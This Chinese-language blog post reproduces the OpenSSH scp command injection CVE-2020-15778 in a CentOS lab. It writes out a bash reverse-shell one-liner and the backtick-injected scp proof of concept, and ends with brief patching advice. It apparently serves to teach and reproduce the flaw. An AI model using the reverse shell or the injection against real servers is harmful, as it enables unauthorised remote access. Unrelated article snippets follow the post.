OpenSSH 命令注入漏洞(CVE

访客4年前黑客文章901

0x00 漏洞介绍

CVE编号:CVE-2020-15778

发布时间:2020-07-24

危害等级:高危

漏洞版本:<=openssh-8.3p1

漏洞描述:OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在操作系统命令注入漏洞。该漏洞即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`),可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中getshell。

利用条件:知道目标的ssh密码

0x01 模拟场景

设置iptables策略模拟仅允许使用scp的场景,让该漏洞在特殊环境下实现命令注入。

0x02 实验场景部署

靶机环境:Centos 7

渗透机环境:Kali 2019版本

1、查看ssh版本

ssh -V

测试为漏洞存在版本。

2、测试ssh与scp在正常情况下的使用情况。

可以正常使用。

3、执行ervice iptables status 检查是否安装iptables,若已安装IP tables,可跳过第三步。

(1)安装iptables

yum install -y iptables 

(2)安装iptables-services

yum install iptables-services 

(3)centOS7默认自带firewalld

先停止firewalld服务 
systemctl stop firewalld
禁用firewalld服务
systemctl mask firewalld ?

(4)查看现有规则

iptables -L -vn

iptables -F是清空默认规则

iptables -L -n --line-number 显示规则和相对应的编号

4、在Centos中设置iptables策略,禁用ssh远程连接,但开放scp。

命令:

service iptables start
iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP
service iptables save
iptables -L -n --line-number

5、测试ssh与scp在已设置iptables策略下的使用情况。

0x03 SSH命令注入漏洞复现

1、在kali创建一个1.sh文件,并写入一个反弹shell的bash命令。

bash -i >& /dev/tcp/192.168.207.156/4444 0>&1

2、使用scp命令,把该文件上传到靶机的/tmp下

3、在新建的命令行页面中输入命令:

4、使用POC,远程执行命令。

scp 1.sh root@192.168.207.156:'`sh /tmp/1.sh`'

5、可以看到,在输完密码后,稍等一会就已经成功反弹了shell,实验结束。

0x04 漏洞防御

1、先确保ssh密码没有泄露,等一波openssh的新版本吧

2、升级ssh版本

3、等待厂商发布补丁

相关文章

怀疑老婆出轨手机什么也查不出来「怎么会找回微信好友聊天记录」

  没有用的!她就是喜欢玩暧昧(这是她的隐私和空间,你没有权利管),我的老婆就是一个活生生的例子,还专门加了一个QQ单身交友群,常在河边走哪有不湿鞋的,现在感情出轨,曾经跟我谈过离婚要孩子(因为现在和...

百度闪付,早起打卡,可赚5元以上!

百度闪付之前投100米活期赚8米现金的流动延期了,现在另有一个“早起打卡”流动,适合起床较早的小伙伴。天天支付0.01米,越日5-8点打卡后,可以分到1米以上现金,每个人5次机遇,算下来可以赚5米以上...

可以查我男朋友的微信聊天记录吗

孩子在小的时候比较适合给他一些拼插类型的玩具给他玩,不过在不同的年龄段有不同的要求,大一点的孩子可以使用细碎的小零件的拼接玩具,而小一些的孩子则是适合大块的、适合啃咬的玩具,不过,究竟是哪些玩具比较适...

韩束适合什么年龄段的人使用( 韩束有哪些系列)

韩束适合什么年龄段的人使用( 韩束有哪些系列)

韩束是特别好的国货品牌,适合我们亚洲人的肤质,我没有想到,除正装三件套,还有那么多赠品,赠品有补水面膜,试用补水三件套,还有毛孔隐形试用礼盒,连粉底都有,特别感谢,特别惊喜,一次可以领略这么多产品,足...

八大行星排列顺序(太阳系八大行星详细资料)

  八大行星排列顺序(太阳系八大行星详细资料)   在太阳系里,行星扮演着重要的角色,所有的行星围着太阳打转发光,除月亮这颗瞩目的行星外,最为我们了解的是八大行星了。这八大行星中最亮的是那颗,最大的是...